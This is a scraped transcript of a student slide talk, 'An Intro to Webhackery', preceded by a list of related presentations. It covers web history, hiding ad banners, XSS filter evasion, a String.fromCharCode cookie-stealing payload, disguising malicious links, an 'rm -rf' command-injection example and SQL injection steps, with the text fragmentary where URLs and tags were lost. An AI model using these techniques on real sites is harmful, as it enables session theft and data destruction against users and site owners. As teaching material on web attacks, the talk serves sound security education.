An Intro to Webhackery Parisa Tabriz. How the web was born Stage 1 : Network Protocols Stage 2 : HTTP Stage 3 : Server Side Scripting Stage 4 : Client.

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

WEB DESIGN TABLES, PAGE LAYOUT AND FORMS. Page Layout Page Layout is an important part of web design Why do you think your page layout is important?
Java Script Session1 INTRODUCTION.
WebGoat & WebScarab “What is computer security for $1000 Alex?”
Server-Side vs. Client-Side Scripting Languages
INTERNET DATABASE Chapter 9. u Basics of Internet, Web, HTTP, HTML, URLs. u Advantages and disadvantages of Web as a database platform. u Approaches for.
INTERNET DATABASE. Internet and E-commerce Internet – a worldwide collection of interconnected computer network Internet – a worldwide collection of interconnected.
Active X Microsoft’s Answer to Dynamic Content Reference: Using Active X by Brian Farrar QUE
Dynamic Web Pages Bert Wachsmuth. Review  Internet, IP addresses, ports, client-server, http, smtp  HTML, XHTML, XML  Style Sheets, external, internal,
Mobile Code and Worms By Mitun Sinha Pandurang Kamat 04/16/2003.
WWW and Internet The Internet Creation of the Web Languages for document description Active web pages.
Browser and Basics Tutorial 1. Learn about Web browser software and Web pages The Web is a collection of files that reside on computers, called.
Mgt 240 Lecture Website Construction: Software and Language Alternatives March 29, 2005.
Chapter 6: Hostile Code Guide to Computer Network Security.
 A cookie is a piece of text that a Web server can store on a user's hard disk.  Cookie data is simply name-value pairs stored on your hard disk by.
Web Programming Material From Greenlaw/Hepp, In-line/On-line: Fundamentals of the Internet and the World Wide Web 1 Introduction The JavaScript Programming.
INTRODUCTION TO WEB DATABASE PROGRAMMING
Javascript and the Web Whys and Hows of Javascript.
FALL 2005CSI 4118 – UNIVERSITY OF OTTAWA1 Part 4 Web technologies: HTTP, CGI, PHP,Java applets)
Dynamic Web Pages (Flash, JavaScript)
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Chapter 16 The World Wide Web Chapter Goals Compare and contrast the Internet and the World Wide Web Describe general Web processing Describe several.
Server-side Scripting Powering the webs favourite services.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Ladd Van Tol Senior Software Engineer Security on the Web Part One - Vulnerabilities.
1 All Your iFRAMEs Point to Us Mike Burry. 2 Drive-by downloads Malicious code (typically Javascript) Downloaded without user interaction (automatic),
1 HTML References: A HTML Tutorial: /HTMLPrimer.html
Chapter 6 The World Wide Web. Web Pages Each page is an interactive multimedia publication It can include: text, graphics, music and videos Pages are.
How Web Servers and the Internet Work by by: Marshall Brainby: Marshall Brain
XHTML Introductory1 Linking and Publishing Basic Web Pages Chapter 3.
XP New Perspectives on Browser and Basics Tutorial 1 1 Browser and Basics Tutorial 1.
1 Networks and the Internet PCS115 Introduction to the Internet ©Richard L. Goldman December 7, 2006.
NASRULLAH KHAN.  Lecturer : Nasrullah   Website :
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
Client Scripting1 Internet Systems Design. Client Scripting2 n “A scripting language is a programming language that is used to manipulate, customize,
Chapter 1: The Internet and the WWW CIS 275—Web Application Development for Business I.
1 Internet Browsing Vulnerabilities and Security ECE4112 Final Lab Ye Yan Frank Park Scott Kim Neil Joshi.
Client Side Programming with JavaScript Why use client side programming? Web sides built on CGI programs can rapidly become overly complicated to maintain,
MySQL and PHP Internet and WWW. Computer Basics A Single Computer.
JavaScript Tutorial 1 - Introduction to JavaScript WDMD 170 – UW Stevens Point 1 WDMD 170 Internet Languages eLesson: Introduction to JavaScript (NON.
CSCE 201 Web Browser Security Fall CSCE Farkas2 Web Evolution Web Evolution Past: Human usage – HTTP – Static Web pages (HTML) Current: Human.
Web Pages with Features. Features on Web Pages Interactive Pages –Shows current date, get server’s IP, interactive quizzes Processing Forms –Serach a.
JavaScript Tutorial 1 - Introduction to JavaScript1 Tutorial 1 Introduction to JavaScript Section A – Programming, HTML, and JavaScript.
COP 3813 Intro to Internet Computing Prof. Roy Levow Lecture 1.
Web Pages with Features. Features on Web Pages Interactive Pages –Shows current date, get server’s IP, interactive quizzes Processing Forms –Serach a.
The Problem of State. We will look at… Sometimes web development is just plain weird! Internet / World Wide Web Aspects of their operation The role of.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Module: Software Engineering of Web Applications Chapter 2: Technologies 1.
NASRULLAH KHAN.  Lecturer : Nasrullah   Website :
 Web pages originally static  Page is delivered exactly as stored on server  Same information displayed for all users, from all contexts  Dynamic.
JavaScript and Ajax (Internet Background) Week 1 Web site:
COSC 2328 – Web Programming.  PHP is a server scripting language  It’s widely-used and free  It’s an alternative to Microsoft’s ASP and Ruby  PHP.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
XSS 101 Jason Clark 12/20.
Web Programming Language
Javascript worms By Benjamin Mossé SecPro
Distributed Control and Measurement via the Internet
Group 18: Chris Hood Brett Poche
Tonga Institute of Higher Education IT 141: Information Systems
World Wide Web policy.
JavaScript and Ajax (Internet Background)
CNIT 131 Internet Basics & Beginning HTML
ADVANCED PERSISTENT THREATS (APTs) - Simulation
Dynamic Web Pages (Flash, JavaScript)
Dynamic Web Pages JavaScript Jill Thomas Oct 14, 2003.
Tonga Institute of Higher Education IT 141: Information Systems
Tonga Institute of Higher Education IT 141: Information Systems
Lecture 27 Security I April 4, 2018 Open news web sites.
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Presentation transcript:

An Intro to Webhackery Parisa Tabriz

How the web was born Stage 1 : Network Protocols Stage 2 : HTTP Stage 3 : Server Side Scripting Stage 4 : Client Side Scripting

Stage 1 : Network Protocols Late 1970’s, Internet is a collection of TCP/IP networks by scientists and researchers. Main services include , finger, ftp, telnet Services sit on top of existing protocols so people don’t have to know how protocols work

Stage 1 : Security Risks Application Specific – could be forged Protocol Specific – Steve Belevin pointed out flaws in TCP/IP Design of the Internet – Homogeneous environment is greatest strength and weakness.

Stage 2 : HTTP HTTP protocol, HTML format Early 1990’s, Mosaic browser introduced Netscape Navigator introduces helper applications (postscript/image viewers, audio/video players)

Stage 2 : Security Threat Many applications are running the same software on the same protocol

Stage 3 : Server Scripting CGI Scripts – Allow users to create dynamic content. Magazines start using the web as a media outlet, large companies have web pages, search engines developed

Stage 3 : Security Threats Increased threat to web servers as many CGI scripts run with full privileges. User input is piped to command interpreter cat filename | mail cat filename | mail | rm –rf

Stage 4 : Client Scripting Reduces load on server (more parallelism) Java, Javascript, ActiveX Ed Felton/Princeton broke the Java bytecode verifier to enable arbitrary native code to run on the machine David Hopwood/Oxford found ways to create hostile applets.

Stage 4 : Security Threats Code is downloaded and run on host machine.

What is web security? Secure the web server! Secure the channel between server and client! Secure the client, machine running the client, and any other application on the machines that can access the Internet!

Javascript First, it’s NOT Java! Javascript was developed by Netscape to allow code to be contained in HTML and dynamically change the HTML the browser interprets based on conditions. Most Useful Features - User-specified event handlers (ie. mouse handlers, keystroke entries) Attacks - Most take user intervention, but creativity can get users to click on anything. People love to click! History tracking, retrieving and reading directory listings to learn about target file systems, stealing files,

Javascript Syntax var [varname] = [value];

Javascript References Beginner-Medium Javascript Tutorial: – orials/tutorial1.htmlhttp://hotwired.lycos.com/webmonkey/programming/javascript/tut orials/tutorial1.html Javascript Event Handlers: – 2.htmlhttp:// 2.html Advanced Javascript: – orials/tutorial2.htmlhttp://hotwired.lycos.com/webmonkey/programming/javascript/tut orials/tutorial2.html –

Ad Squashing Most free sites will put horrible, blinding banners and ads on their free service sites. Ads hurt me. Sites will use some HTML tag to identify where in your page they should insert their ads and banners. General tactic is we find which tag is uses as a place marker, if it inserts before or after this tag, and how we can hide the banners.

Ad Squashing Tactics method // decoy // real tag,, method –The banner HTML added by the site will not render according to the tags you use, so most browsers will ignore it. Print out the tag '); //-->

Ad Squashing Tactics AngelfireAngelfire- Home to some of the ugliest and most ad- infested sites on the Internet. My Homepage My Homepage (fixed)My Homepage

Filtering Avoidance So let’s say we want to spread the good name of SigMIL to the Internet. To get our name out there, we get a brilliant idea to add this to blog and guestbook comments… document.location=

Filtering Avoidance Unfortunately, there is usually some type of filtering going on the server to prevent people from submitting tags. Get around this by using Hex values for characters document.location=

Filtering Avoidance Getting past Javascript filters can be very powerful… –Spoofed addresses –Stealing cookies –Causing redirection Do testing to find out what tags and characters are being filtered (' " ; | / and % ) Anywhere there is input that is displayed on a page which other people may visit, there is an opportunity to steal information.

Stealing Cookies Disclaimer: If you need to login to a site, and the site encrypts your cookies, there probably isn’t much you will accomplish from stealing cookies.

Stealing Cookies Is user input filtered for any characters? Example for filtering of ‘ or “ var u = String.fromCharCode(0x0068); u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070); u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F); … (url) u %2B= document.cookie; // document.location.replace(u);

Stealing Cookies Another method is to use image tags that automatically make server requests for you. Steve used this method to deface a forum, and on thefacebook.com

Stealing Cookies Hotmail/Javascript Exploit: Remote Cookie Viewer Exploit:

Lessons Learned Programmer: N ever print user input back to the user, filter out mischievous characters ( ), and pack all url encoding before filtering input. Attacker: Realize that programmers are lazy, don’t do the above, and take advantage!

Only an idiot would click! No one is going to click on your link if it looks like this: ger.php?' + document.cookie); Obscure the URL –onmouseover –Convert IP addresses to decimal values –.htaccess trickery Normal form: Obscured form:

SQL Injections SQL Injection is a technique which allows us to execute unauthorized SQL commands that build dynamic SQL queries Methodology 1.Escape intended command 2.Execute desired command 3.Comment out remaining query

SQL Injections Now for some examples…